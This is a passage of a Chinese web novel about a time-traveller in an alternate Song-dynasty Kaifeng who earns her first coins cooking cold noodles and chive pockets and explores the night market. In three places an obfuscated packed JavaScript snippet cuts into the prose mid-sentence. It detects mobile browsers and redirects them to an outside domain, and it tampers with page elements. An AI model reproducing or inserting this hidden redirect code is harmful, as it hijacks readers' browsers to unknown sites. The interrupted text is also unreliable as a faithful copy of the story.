“阿娘，咱家那井水可生饮？”她扭头问着，切菜动作未停，一根黄瓜在利刃下转瞬成薄片。 付惜音看呆了，须臾才回过神。 “哦，生饮无妨。我去提些井水——” 她话还没说完，姜宝琦已转身出去，很快便提回满满一桶井水来。 姜宝珠这边也放下刀，将切成丝的几样蔬菜备在一旁。 碗橱里拿过昨晚用过的连麸面粉，一股脑儿全倒盆里。 同样是和面，这做面条与做饼又不同：做面条须加冷水，想要更有弹性和韧性，和面时还要再加食盐和蛋清。 姜宝珠比昨夜更娴熟，醒面揉面之间，没一会儿便揉出一个光滑的大面团。 她将面团揉成矮墩墩的圆柱，又不紧不慢地擀成一个圆饼。 圆饼裹在擀面杖上，姜宝珠手压上面杖两端，继续往薄里擀。 总不好只擀这一个方向，总要转着圈地，将面饼裹缠在面杖上不断擀，直到这团面延展成一大张薄面饼，这手擀面就算成功一大半了。 薄面饼像折扇子一样折起来，姜宝珠手起刀落，切出细条。 最后，将面条撒上干面粉，抖落开来，根根分明。 “珠儿……”打进灶房，付惜音一直都是瓦子里看戏的神色，“你……何时有了这白案功夫？” 姜宝珠目光动了动，笑道：“阿娘，你忘啦？祖母的白案功夫可是一流，往年在扬州她总做烧饼索饼吃，也给我说道过不少这案上功夫。” 左右老人家早已作古，任她如何编也没法求证了。 “前几日我病中昏沉时，总梦得她和面擀面——也怪，她那一招一式，竟如烙入我脑中一般，醒来后也记得一清二楚！” 付惜音本就没怎么跟婆母同住过，此刻被这么一忽悠，愈发糊涂起来：“是么？那还真是奇了……” 那厢，姜宝琦已将灶下火燃起来。 待水滚开，姜宝珠下进将面条。冷水点过两次，出锅的手擀面一根不断，弹性十足。 付惜音“啧”出一声：“这是……要做索饼？” “是冷淘！”见姜宝珠将面条放入井水，姜宝琦抢答道。 姜宝珠冲小妹笑了下：“正是。” 冷淘，就是过水凉面，唐代时是消暑御膳，杜甫的那首《槐叶冷淘》令其名声大噪，而今大宋，已成市井间常见面食了。 和用槐叶汁和面的冷淘不一样，姜宝珠今天想做的是东北大冷面。 上辈子做美食博主时她可谓吃遍大江南北，延边那碗冷面她记忆尤深。巧的是，后世去延边时也赶上三伏天——与今日一样的天气。 过了两遍冷水，姜宝珠将面条浸在井水里，开始做面汤——这东北冷面好吃与否，很大程度在于汤汁。 姜家的灶房可没有味精，牛肉粉那些，姜宝珠只能四处搜罗，就地取材：菜篮子里的大黄梨切下半个，院中苹果树上再摘下一颗——这结出的果儿白嘴吃嫌酸，捣出汁来调味倒正好。 与白-面粉一样，固体糖“糖霜”在大宋也是珍贵之物，老百姓常用的“沙糖”为液态，是熬制的浓缩蔗汁。 切块的苹果，梨捣出汁水，与沙糖，盐，酱油一并兑入井水碗中，酸甜滋味足够丰富。 拿过阿娘翻箱倒柜找出的酵母，姜宝珠舀米醋浇上去冲开，“滋——”地涌出细腻泡沫，很有雪碧的既视感——这也是冷面爽口的关键。 一切准备就绪。 姜宝珠捞出凉浸浸的面条放入汤碗，胡萝卜丝，卷心菜丝，黄瓜丝也整齐码进去，煮熟的鸡蛋切成两半放中间，最后再漂几根香菜增香——端到付惜音与姜宝琦面前的，便是这样两大碗颜色丰富，酸甜扑鼻的大冷面。 “险些忘了——” 姜宝珠转身重回灶房，端出一碟茱萸油来：“阿娘，你们先尝尝——” 哪用她招呼，人家娘俩早吃了起来——碗都空了一小半！ 姜宝珠笑眼盈盈地坐她们对面：“如何？还合口？” 付惜音抬头看她，那眼神，就跟不认识自家闺女似的，随后她深深吸了口气。 挑起面条继续吃。 姜宝琦也是一吃一个不吱声，小脸埋进大碗里。 不多时，付惜音满足地放下碗。扭头看见小女儿还余小半冷面，她筷子伸过去：“琦姐儿莫强撑，你若吃不完——” “我吃得下！”姜宝琦立马护住碗，发现娘亲碗中还有面汤，她又小大人一般道，“阿娘莫浪费，这汤汁才是冷淘精髓。” 说着，她端起碗将面汤喝干净：“比外头那香饮子还清爽哩！” 姜宝珠无声笑了。除开刚穿来数落自己那回，她这妹子难得一口气说这么多话。 找出提盒打包好剩下的汤面与配菜，姜宝珠道：“锅中有余，阿娘和绮姐儿再吃些罢。” 付惜音这才反应过来自己只顾吃了——嗐，她与自家官人竟是一样脾性，美食面前全然忘情…… “你怎不吃？”她连忙问，“可是还没胃口？” 姜宝珠摇头，拎起食篮示意：“我为爹爹送去些，与他同吃。” 说着她便打开院门，付惜音来不及阻拦，只扬声嘱咐：“日头正盛，仔细暑气！” 姜宝珠“嗳”了声，脚步轻快地走出家门。 书铺并不远，沿着甜水巷往桥市方向走，巷口便是了。 正是大中午，家家户户都在闭门避暑。姜宝珠穿过悠长街巷，所行虽是阴凉处，也出了一身汗。 书铺门户大开，案前的人正奋笔疾书，他对面的人则慢条斯理地端起茶盏。 看清爹爹对面坐着谁后，姜宝珠的步伐僵住。 ——那不是户曹的郑参军吗？ 她爹都被免职了，这位前任上司还要来做甚？！ 脚步靠近，姜宝珠没有出声。 一阵沙沙声过后，她爹爹放下笔开口：“参军，首册已誊毕。” 郑参军放下茶盏：“三日后，我再着人来取次册。” “有劳参军。” 郑参军起身欲离开，忽又止步：“昨日之事，我知你蒙冤，奈何……” 他重重叹出口气：“是郑某无能！” “参军何出此言！”姜明远立刻道，“那刘能背靠大树，当中盘结交错，便是府尹也难斡旋……” 他叉手行过一礼：“还未谢过参军，若非参军有意庇护，姜某怕是要吃尽皮肉之苦了……今日参军虽不言明，我也知晓这抄书是助我补贴家用……” 郑某摆摆手，抬眼打量满屋书籍：“我除不得恶人蛀虫，护不住清白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488883|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下属，实在枉为官身……想我寒窗苦读时热血满腔，如今，只剩惘然了……” 姜明远感同身受，亦满心戚戚：“姜某人微力轻，不能再为参军分忧，实属惭愧……” 姜宝珠垂眸，悄悄往回撤了几步，故意扬声：“爹爹——” 掀开门帘，入目即是姜老爹惊喜的笑脸：“珠儿，你怎来了？” 姜宝珠莞尔一笑：“我做了些冷淘，拿来与爹爹尝尝！” 她又向一旁的郑参军规规矩矩行过一礼：“参军大人万福。” 郑参军面无表情颔首：“小娘子多礼。” 姜明远还怔着。 冷淘？ 珠儿说她做了冷淘？ 他定是听岔了吧…… 姜宝珠打开提盒：“爹爹抄书辛苦，冷淘正好消暑解乏。” 姜明远饭还没吃上，嘴角已经满足弯起来：“抄书有甚辛苦，倒是你——” 他心疼地打量女儿：“身子还没养好，何苦顶着日头过来？” “不妨事。”姜宝珠回答，又转向书案客气道，“参军大人，不如与爹爹同进些？” 歘—— 郑参军甩开折扇，淡淡开口：“暑气蒸人，无甚胃口。” 更无心情。 早听说这姜某人宠妻爱女过甚，今日一见，果然不假。 更有传，说这姜氏小女娇纵乖张，今日一见……确实黏腻人得很。 父亲才离家没一会儿，就顶着日头巴巴送饭来了。 且都这般大了，还“爹爹爹爹”叫得如此亲热！ 哼，哪像他家那三猢狲，只喊娘，不唤爹。吃了饼子，忘了老子。 更别说冷淘。 三伏天里家中若有碗冷淘，别说给他送——咦？ 这冷淘倒稀奇。 郑参军止住酸溜溜的思绪，定睛看提盒里的五颜六色。 姜宝珠捞出煮熟的面条，又在碗中加井水调好面汤——这井水是她走前才新提的，一路过来依旧清甜冷冽。 凉面入冷汤，红红绿绿的菜丝与切半鸡蛋层层叠叠放面上，像戴了顶香喷喷的帽子。 所谓“色香味”，怪不得“色”会在最前面呢，食物斑斓好看，即便没有肉腥，也能令人食指大动。 看着放在面前的冷淘，姜明远心中的疑虑也如碗中配菜，越堆越高。 有外人在，他又不好追问，最后只探究般看女儿一眼，化好奇为食欲。 冷面裹着汤汁，吃下第一口，三伏天的燥热便一扫而光。 姜明远晃了下神，又夹起一大筷子——这次特意将胡瓜丝也一同裹进嘴里，很不斯文地大口吞下。 咀嚼时的摇头晃脑，是发自内心的好吃满足。他放下筷子，开始吟唱：“面揉得恁筋道！配上这脆嫩胡瓜，爽口萝卜，清甜菜丝——珠儿，爹有如此冷淘，何惧炎炎酷暑啊！” 姜宝珠笑得面颊泛红，病色全无：“爹爹再尝尝这面汁，琦姐儿说和香饮子一般消渴哩！” “好嘞！” 满室嗦面喝汤声里，姜宝珠敏锐地捕捉到了一声肠鸣。 余光瞥了眼正襟危坐的身影，她假装什么都没听到，再次打开食盒：“这冷淘还剩好些，不易久放——” 姜明远立刻笑眯眯地将空碗伸过去—— “参军大人，还是将就用些罢？” “……正是！” 姜明远紧急撤回一只碗，还不忘吹一波自家女儿：“如此美味，糟践岂非可惜？” 郑参军慢吞吞“唔”出一声：“常言道：粒粒皆辛苦。” ——是了，他是不想糟践粮米。 绝不是因为肚中闹馋虫！ 再者，若驳了这小娘子的好意，她怕要“爹爹爹爹”的抹泪了…… “歘”一声，郑参军收回折扇。 “如此，便有劳小娘子了。” 5. 东北大冷面 姜宝珠笑答：“参军大人见外。” 将食盒捧至参军面前的案上，她又拿出碗来配菜。 “天气燥热，无甚胃口。”郑参军阖眼缓声道，“黄心菜可省，冷淘亦减半。” “是。”姜宝珠照要求装好冷淘，“参军慢用。” 郑参军不紧不慢地拿起碗，并不着急吃。 没胃口是真，他更不信这冷淘能有多美味——姜某人方才夸得天花乱坠，怕是父爱蒙了眼…… 就着碗沿喝下一口面汤，郑参军神色一滞，放下面碗。 重新审视般打量眼前的冷淘，他撸起宽袖，又挑起一筷子冷淘进口。 奇了。 这面汤澄澈见底，看着寡淡，入口滋味却极丰富——酸酸甜甜，冰凉沁脾，真与那香饮子一般消暑可口！ 下巴抖了抖，他又挟起一筷子。 妙哉！ 这连麸面揉出的冷淘竟一点不割嗓子，还越嚼越筋道，麦香盈齿。 他继续往口中送食——唔？冷淘没了！ “……” 郑参军悻悻放下面碗，瞟了眼案上的食盒。 ——尚余半碗分量。 可姜小娘子并无为他添食之意，还笑眯眯问：“参军大人可饱饫？” 郑参军含糊“嗯”出一声，视线被食盒中的小碟吸引：“可是还有佐料？” 姜宝珠答：“告参军，此乃芝麻茱萸油。” 郑参军蹙眉：“郑某平日甚少食辛物……” “此茱萸油只提香，不落辣——”姜宝珠还没解释完，就看到“少食辛物”的郑大人将取出那碟茱萸油。 他又状似不经意地拿过剩余冷淘，连同方才还嫌弃的黄心菜，尽数倒入自己碗中。 见人重新捧起碗大口吃起来，姜宝珠不露声色，笑意攒进眼底。 很快，郑参军碗中再次见底。不等她开口，姜明远已乐呵呵近前：“小女拙技，还合参军口味？” 郑参军放下碗筷没说话，开始整理因狼吞虎咽凌乱的衣袖。 衣衫齐整后，他有些不自然地清了清嗓子：“暑气蒸人，无甚胃口——” “……” 姜宝珠和自家老爹对视一眼，一齐去瞧那空荡荡的食盒。 郑参军晃了晃脑袋：“然此冷淘令人脾胃大开，食罢更是回味无穷！” 他再无方才古板面孔，笑意连连：“小娘子真乃好手艺！” 姜宝珠也笑眼弯弯：“参军谬赞。” “郑某有一不情之请——”郑参军继续道，“小娘子可愿费心再做些冷淘？明日酉时三刻，我自着人上门取食。” 他说着，从衣袖里摸出来什么：“有劳小娘子。” 看清那是什么后，姜宝珠嗖地起身，又按捺着规矩福身：“谢大人抬爱！明日，我定将这冷淘置办爽口，准时奉与参军……” 再寒暄过两句，郑参军腆着肚子摇着扇子走出书铺。 姜宝珠拿过案上的铜钱数了数——整整三十文！ 街市上买的冷淘售价在十五文左右，她这碗也算溢价多多了。 这个时代，居然也有人愿意为她的手艺大方买单…… “爹爹你看，参军大人竟放下三十文！”姜宝珠献宝似地将铜钱塞姜老爹手里，同时暗示，“这冷淘若每日都能进账三四十文，一月下来，女儿也能赚一贯钱呢！” 刚从美味冲击中回过神，姜明远这会儿又被惊呆了——他这十指不沾阳春水的女儿，向来是只会花钱买口福的，可她今日下了灶不说，做出的冷淘竟还挣下钱回来…… 宛如变了个人一般！ 他等不及归家与娘子好好琢磨说道一番…… 将铜钱放回女儿手里，姜明远温声：“不论赚钱与否，见你身子大好，爹便安心了……” 姜宝珠没再推辞，若有所思地掂了掂手中铜子儿：“爹爹，女儿晚些时候可去夜市逛逛？” ——对嘛，这才是他那个爱吃爱逛的馋丫头。 姜明远松出口气：“有何不可？那茶坊食肆，你进去便敞开吃！钱够不够，爹爹再与你添些？” 姜宝珠急忙推却，坚决没要姜老爹热乎的抄书钱。 她也没有顶着日头回家，留在书铺翻书打发时间。直至戊时，父女俩才闭了铺门。 姜明远提着空食盒往甜水巷走，姜宝珠则转身，往反方向的桥头去。 太阳西落，气温降下来，躲避暑气的人重新活络起来，这座有着“天下之都”称号的东京城便揭开繁华夜幕。 结合刚才书铺里浏览的史料与脑中记忆，姜宝珠发现自己穿过来的这个大宋和后世记载的很不一样：按照时间推算，这个时代的人们正赶上靖康大乱斗——然而靖康之耻并没有发生，北宋也没有灭亡。 如今在位的宋帝并不是史书中那位，他的执政风格也和史上的很不一样，简单说便是绝对的不拘一格降人才。 这个时代，荫补特权大大被削减，官职很难像财产一样被继承，在官位的多是科举选拔出来的栋梁之材。 寒门能出贵子，士大夫们激流勇进，忠文抑武的风气依旧存在，官家却一边劝学，一边又重用了几名武官大将。 “兵不识将，将不专兵”的制度并不存在，这几个武将手里有实在兵权，也练出了几支骁勇善战的军队，牢牢把守着边疆。 如此这般，宋朝自然不再积弱。宋帝志在发展经济，不好战，面对邻国进犯也不手软，与辽、金打打合合几十载，谁也奈何不了谁。 总的来说，这样一个大宋没有南北之分，更像是历史上宋代的平行空间。 平行空间太过宜居，姜宝珠甚至怀疑这位官家是不是也跟自己一样，是看过剧本穿过来的…… 嗐，管他呢。 天家之事，与她这个平头百姓有什么关系呢。 眼下，那个米缸见底，面袋空空的家才是最要紧的…… 手里握着刚挣下的铜钱，郑宝珠走过龙津桥。再往州桥走，一路都是美食不断——也就是有名的州桥夜市了。 从未经历过战乱，这里只有热闹与祥和。 “旋炙猪皮肉哎——焦香油脆！” 夜市始于戊时三刻，这会儿，路边的商贩纷纷撑起小食摊。 烤肉的摊主蒲扇猛扇碳炉，火舌立时窜高，肥瘦相间的猪肉片被烤得滋滋滴油，焦香四溢。 他旁边卖烤饼的妇人也不甘示弱，手里的面团一揪一拍，“啪”地贴在泥炉内壁上。 芝麻被高温炸开，她吆喝的声音也敞亮：“胡麻烤饼，新出炉的胡麻烤饼哩！” 姜宝珠一步三停，看得眼花缭乱。这大宋夜市的美食繁多，比起后世来有过之无不及：糟羊蹄，酒卤虾，麻腐鸡皮，盘兔，鲈鱼脍，煎夹子…… 有的商贩甚至没支摊，推个独轮车就能走街串巷的做买卖，这样的推车也叫“浮铺”。 “水晶皂儿——甘草冰雪——香橙子汤——” 两个打扮时兴的小娘子拦下卖冷饮的推车，那老汉掀开木桶上厚厚的棉被，熟练地盛出两罐带冰碴的皂角籽冻，又浇上浓郁的蜂蜜和糖桂花。 小娘子们接过冒着白气的冷饮，马不停蹄地去瓦子里看杂耍去了——这不就是后世的女孩子相约逛街，买两杯奶茶看电影嘛！ 姜宝珠也注意到，这里做生意的不乏女子，且什么年级的都有：角落里安静买绢扇的那个小姑娘，看着比琦姐儿大不了多少，她旁边扯着嗓门片鱼脍的老妪满头花白。 看来，在这太平盛世，只要有手艺，女子养活自己并不难…… “咚咚咚——噔噔！” 不远处，一头上簪花，身挑扁担的卖货郎晃起拨浪鼓揽客。 他那扁担里装的全是时兴玩具：香袋儿，陶响球，六角风车，纸鸢筝…… 好些梳着总角的小孩看得眼珠都黏住，拖着爹娘不愿离开。 一男娃气得小脸通红，鼻涕挂泪：“阿娘早先应了我买磨喝乐（泥塑玩偶）的，如今又说不买了——阿娘哄我！哇——” 他娘窘得面皮发烫，又不好当街发作：“你嚷甚么？这担子里哪有磨喝乐！” 那货郎听罢眉梢微动，超不经意地从扁担中拿出一个磨喝乐晃了晃。 “哇啊啊啊——”男娃的嚎哭声更大了。 姜宝珠唇边弯了下，侧身避开拉货的牛车继续往前走。 市声愈发热闹起来，食肆酒楼，茶坊商铺随处可见。 做生意的店家从不赶客，小商小贩也能进大酒楼里兜买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488884|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的东西。好些不是食客的，也乐意聚在酒楼的欢门前凑热闹。 这家新开张的“五珍楼”便是，门前人头攒动，有扑卖（□□）的，算卦的，还有个说书先生，正唾沫横飞： “……秀秀便道：‘比似只管等待，何不我与你先做夫妻，不知你意下何如？’ 听书的人全瞪大眼：“嚯！” “那崔宁却道：告小娘子，要和崔宁做夫妻不妨，只一件，这里住不得了，今夜就走开去。’秀秀道：‘我既和你做夫妻，凭你行！’”① “哟！” “于是当夜便做了夫妻！” “噫——” 姜宝珠也在心里头跟着“噫”了声：这跟后世在地铁上公放绿江听书有什么区别啊？ 下一秒她又摇摇头——绿江尺度可没这么大…… 不多时，姜宝珠便将夜市便走了个遍，心里也有了进一步打算。 肚子也开始叫个不停——除了昨夜那张鸡蛋灌饼，她今天还没正儿八经吃什么东西…… “小娘子，来碗米缆罢？” 桥边支摊的婶子像看穿她心思，热切揽客道：“新熬的卤汁，香掉牙哩！” 姜宝珠心下一动。这“米缆”便是后世常见的米线了——她阿娘最爱嗦粉。 瞅了眼摊前“何记米缆”的布幌，姜宝珠笑着走过去：“请教何婶子，这米缆怎生卖？” 见是个标志又有礼的小娘子，何婶子更热情了：“好叫小娘子得知，咱家米缆用的是新糯稻，七文钱一碗，添三文，浇一勺鹅肠卤子！” 姜宝珠握了握手里的三十文钱，又解开腰间香囊——幸好，还有八枚铜钱。 她摁下一文钱，将其余的放食摊上：“有劳婶子盛碗七文的与我，再备三碗加卤的，我吃罢提家去。” “好嘞！”何婶子利落地抓粉入笊篱，一边还不忘招呼，“小娘子稍坐，即刻便得。” 姜宝珠坐到桥墩旁的小凳上，看笊篱中的米缆在锅中三起三落，滑入黑陶碗，再堆一撮酱菜与腌芥辣。 “来喽——” 何婶子将碗筷送上桥墩：“小娘子趁热吃，余下三碗我看着火候，一准儿叫你热乎乎提家去！” “有劳婶子了。” 刚提起筷子，一枚香喷喷的荷包蛋又滑入碗中。 何婶子笑呵呵收回大勺：“白饶的，与小娘子搭着吃！” 刚见人翻荷包她心里便知晓：这姑娘是自己省着吃素米缆，却给家里人买带卤的呢。 闺女生得美，心还善，她就像看自家孩子一般，越瞧越心疼…… 姜宝珠没有拒绝这份好意，大大方方起身行礼：“多谢何婶子！” 坐下后她唇角噙着笑挟起煎蛋，一口咬下去。 溏心蛋黄烫到唇，姜宝珠吸了口气，忽而听见桥下有人高呼：“瞧，放烟花了！” 她应声抬眸，正看到城门处腾空而起的烟火。 银花盛放如星雨，四散在夜色与鼎沸人声里。 余烬落入水中，与游船灯光交织成星河。 船舫里有人影浮动，隐约传出丝竹管弦，清扬歌声：“此时情绪此时天，无事小神仙……”② 一艘漕船赶超画舫驶过桥洞，姜宝珠脚下的桥石板随之轻震。 她的心也是…… “三姐姐——” 长街之上，梳丫髻的小姑娘穿过光影人声，一路小跑而来。 气喘吁吁地站定在桥上，姜宝琦摊开手，露出一把铜币：“爹娘让我送钱与你，说三姐姐看中什么只管买，莫委屈自己！” 轰—— 她话音刚落，又一簇烟火倏尔升空。 人群惊呼中，有稚嫩童声好奇：“爹爹，何故放烟花呀？” 无人作答。 或许，生在这繁华盛世，太平人间，本身便是值得庆祝的幸事…… 姜宝珠没有拿钱，只牵过小妹的手，又看周围一张张生动而真实的笑脸。 更幸运的是，这一世的人间烟火，与她有份。 那便活下来。 ——一股莫大的勇气与决心流淌过她的四肢百骸。 活下来。 扎根在这热气腾腾的人间，活得如烟火般自由，灿烂。 6. 韭菜盒子 “笃——卯正二刻，天色阴晦！” 打更声渐远，姜宝珠放下梳妆的手，左右打量铜照子里的自己，满意点头。 也是能梳出像样的发髻了。 这罗髻最方便日常，很适合她这种懒人——头发扎成麻花辫，盘在脑后即可。 打开妆奁，姜宝珠捡出两朵绢花装点在髻上，又从底层取出一支发簪。 银簪尾部镶嵌几粒小珍珠，是原身喜欢的素雅样式，也是这妆台中最值钱的首饰。 对不住了。姜宝珠在心里跟原身道歉。 来日赚到银子，我一定将这珠簪原样赎回来。 柴房里洗漱完毕，东厢的两间卧房还在沉睡。 姜宝珠轻手轻脚走出院门，长舒一口气。 幸亏没把那刨根问底的吵醒。昨儿个夜市回家的路上，姜宝琦一直就那套“祖母托梦”的说法旁敲侧击，显然是不信。 别看这妹子不爱说话，却是个极内秀早慧的，宛如一个心智冷静的成年人，托生在小姑娘身体里…… 姜宝珠也怀疑过这小丫头跟自己是同类，可任她“奇变偶不变”，“宫廷玉液酒”的试探，姜宝琦最终只淡淡瞥她一眼： “三姐姐，你饿了便去吃，乏了便去睡。” ——有病便去治…… 行过甜水巷，往昨日夜市反方向走，过了桥，便是一条商业街。 时辰还早，好些店铺都没开门。 药铺，香铺，果子行，金银铺，铁器铺……有了！ 站定在“薛记当铺”的牌匾下，姜宝珠从袖中抽出一方丝帕。 “三妹妹？” 她停下动作，扭头瞧见一人高马大的少年。 他穿无袖背搭，两条古铜色胳膊结实健硕，一看便是凭力气吃饭的。 是那住姜家隔壁的吴家大郎。 姜宝珠抿笑：“吴大哥。” 吴大郎铜黑的脸上笑出两排白牙，迎步上前：“你，你身子可好些了？” “已大好了。”姜宝珠话间刻意避嫌，“多谢方婶子挂心。” 这吴大郎与姜青舟自小便是玩伴，和原身走得也很近，论起来么，确实当得上一句“两小无猜”。 随着原身出落得愈发亭亭玉立，这“无猜”就变了味。 如今一瞧见她，吴大郎说话就结巴；她掩唇一笑，他更是看得眼都转不开，一张脸如烧起来的炭一般…… “嗐，我昨日——我娘昨日原要去探你，谁知赶上那癫媒婆上门，幸而你……”吴大郎手挠后脑，声音越来越低，“未许了那老鳏夫……” “……” 姜宝珠假装没听见，只岔开话：“吴大哥可是要往铁铺去？” 吴大郎是铁匠，他爹的爹的爹也都是铁匠，家传手艺足够过硬，“吴记铁铺”在汴京城颇有些名气。因此，虽说家中的四个男人一顿饭便能吃空半袋米，吴家日子倒也宽裕。 “是，我爹接了城南路员外家的急活儿，这几日都住在铺中赶工呢。”回头瞧见当铺招牌，吴大郎又面露诧异，“三妹妹，你这是要……” 他二话不说便解下腰间钱袋，递上去时结结巴巴：“你，你若需银钱，尽管拿去——” 姜宝珠侧身半步，语气淡淡：“吴大哥会错意了。我来早了，净等这果子行开市呢。” 吴大郎拿钱袋的手悻悻收回：“是我唐突了……” 姜宝珠睫羽轻颤，忽而想到什么——钱断不能要，但欠个人情，未尝不可。 她轻声开口：“我……确有一事相求吴大哥。” “你说！”吴大郎眼睛一亮，疾步上前。 意识到失态，他又抓着脑袋往后退：“你大哥离家时曾嘱咐我照应你……和琦妹妹。你们若有难处，莫要见外。” “如此，先谢过吴大哥！”姜宝珠福了福身，继续道，“我想寻你家铁铺对面那葛木匠，打制一副放炉灶的推车。” “可是……那摆摊的灶车？”吴大郎示意街边卖笋肉包的小摊，心头同时一震：姜伯父丢了衙门职务，竟要去摆摊了吗？！ 姜家已困顿如此么…… “正是。” 姜宝珠又做了详细描述：她要的推车不求上等木料，也无需雕花刻纹，只要大方结实，防水防油，轻便好推即可。 最要紧的是快，最好这两日便能完工。 吴大郎思索片刻，点头应下来：“这好办，我曾见那葛老伯做过双轮灶车，保不齐他铺子里有现成的。你也莫忧心造价，没几个钱。再说了，有我在……” 姜宝珠没接那暧昧话头，施施然福身与人道谢。 吴家大郎也呲着白牙红着黑脸与她道别。 见人走远，姜宝珠才重新抽出帕子系在耳上遮住半面，抬脚迈入当铺。 虽说让她别操心钱的事，她也不可能真指着他人出钱…… 再出来时，手里多了沉甸甸二两银子，姜宝珠步伐都踏实许多。 果然，钱这东西，谁有都不如自己有！ 二两银子二贯钱，听着不少，实则根本不够花——她要置办的东西很多，何况家里下月的房租还没着落呢。 这么一想，姜宝珠便把荷包捂紧了些。回家路上，她只花十文钱买了一小袋连麸面和一把韭菜。 看见刚开门的鱼虾行，姜宝珠犹豫片刻，还是走了进去…… 她这一趟花了近一个时辰，再推开院门时，家里人已经都起来了。 姜宝琦停下手里的扫帚，眼里是不动声色的打量与探究。 姜明远与付惜音也停下话头。夫妇俩刚还在商讨如何削减饭食花销，由奢入俭难，他们两口子的厨艺都上不得灶台，被惯坏的舌头，还总牵挂外头的美食…… 见女儿提着面袋回来，两人又一下有了底气——若有昨日那冷淘，外面的饭食也没多稀罕！ “珠姐儿怎起得这般早？”付惜音问道，一边接过女儿手里东西，“可是还想下灶？” 不等人回答，姜明远抢先道：“珠儿今日莫下灶了，烟熏火燎，没得再引你不适——” “爹爹，我早无碍了。”姜宝珠笑道，“胡郎中不也说了，我不能总卧床。下灶正好活络筋骨！” 见她脚下生风，兴致高昂，夫妇俩也没再阻拦，默默跟进灶房。 姜宝珠先将郑参军下午要吃的冷淘面汁调好，再将配菜切丝。 正要和面时，她娘开口了：“我来罢。昨日你和面时我仔细瞧过了，你放心，阿娘做得！” 女儿忽通厨艺，付惜音也不想将她日日困于灶间——这娇养长大的女儿自己情愿，为娘的也舍不得啊…… 姜宝珠将面盆递给阿娘。她自是放心娘的，正如昨日阿娘和小妹全然信她下灶一样。 重新取出一个木盆倒入面粉，姜宝珠开始给自家人做饭。与之前做鸡蛋灌饼一样，这次依旧需要半烫面：先缓缓加入开水将面粉搅和成絮，再加冷水和面。 面团慢慢揉透揉光滑后，姜宝珠继续准备馅料。 她阿娘接手冷淘后，爹爹与小妹也纷纷加入帮厨。 姜明远将择好洗净的韭菜递与女儿：“珠儿可是要做韭饼？” 姜宝珠点头：“不错。” 姜明远咂了咂嘴唇：“金梁桥上那王婆子韭饼，每逢出摊便排长队，卖得比旁人还要贵两文……” 姜宝珠没接话。她要做的这韭菜盒子，与宋朝的韭饼其实不太一样。 昨日，她阿娘翻箱倒柜寻酵母，连带翻出不少东西：有花椒粉，也有绿豆淀粉制成的干粉条，再加上剩下的几枚鸡蛋，做韭菜盒子正好。 姜宝珠先将鸡蛋加盐打散，下锅炒碎盛出。 泡软的绿豆粉条下水煮熟，切碎。 随后便是韭菜的处理了，这一步很重要：韭菜做馅很容易出水，面饼从而软塌，破皮。想要不出水，洗好的韭菜首先要沥干。 沥干擦净水的韭菜切碎，姜宝珠又加两勺油进去搅匀——韭菜切口被油封住，直到馅料包完，都不会出汁水了。 处理好的韭菜馅与鸡蛋碎，粉条碎拌在一起，再加盐，酱油，花椒粉，芝麻油。 姜宝珠还特意加了点沙糖——除了调味，沙糖的甜还能压制韭菜辛辣，吃完也不会觉得烧心。 “面醒妥了。”做完冷淘的付惜音上前，打量刚拌好的馅料，“阿娘与你一同包制韭饼？” 姜宝珠应“好”，又轻呼出一声：“险些忘了——” 她拿过灶台上的小小纸包，正是方才从鱼虾行买的。 牛皮纸打开来，包着一把黄红油亮的姜虾米。 姜宝珠将虾米加到馅料里，筷子稍一搅和，这一点咸香海味，便将蛋香韭香彻底激发开来，直往人鼻腔立钻。 姜明远嗅了嗅，啧出一声：“珠儿这韭馅调得…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488885|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比王婆子那加羊脂的还要香！” 姜宝珠莞尔一笑：“还比羊脂便宜多哩！” 唉，鱼啊虾啊他们现今是吃不起了。 不过没关系，只要肯用心，一饭一食照样能有滋有味。 这日子也是。 喷香的馅料放到一旁，姜宝珠拿起醒好的面团搓成长条，再揪成一个个面剂子。 付惜音抢在女儿前面拿起擀面杖，将剂子擀成圆圆面皮。 姜宝珠舀起两勺韭菜馅，放在面皮上。 韭菜盒子很好包，面皮对折成半圆，再捏紧封口即可。只一点：面饼里的气一定要在封口时都排出来，否则下锅煎时，口会破开的。 “噫——”付惜音看着女儿手里包好的韭菜盒子，惊喜出声，“珠姐儿这韭饼做得，与雕花果子一般好看哩！” 姜宝珠包韭菜盒子时指尖按压翻飞，封口便叠出均匀漂亮的花边来。除了好看，这样包的韭菜盒子也更严实，不会露馅。 姜宝珠是个不经夸的，听阿娘吹自己，她立马换了个花样，将盒子包出裙褶花样的封口来。 付惜音看着手痒痒，也放下面杖和女儿一起包起来。 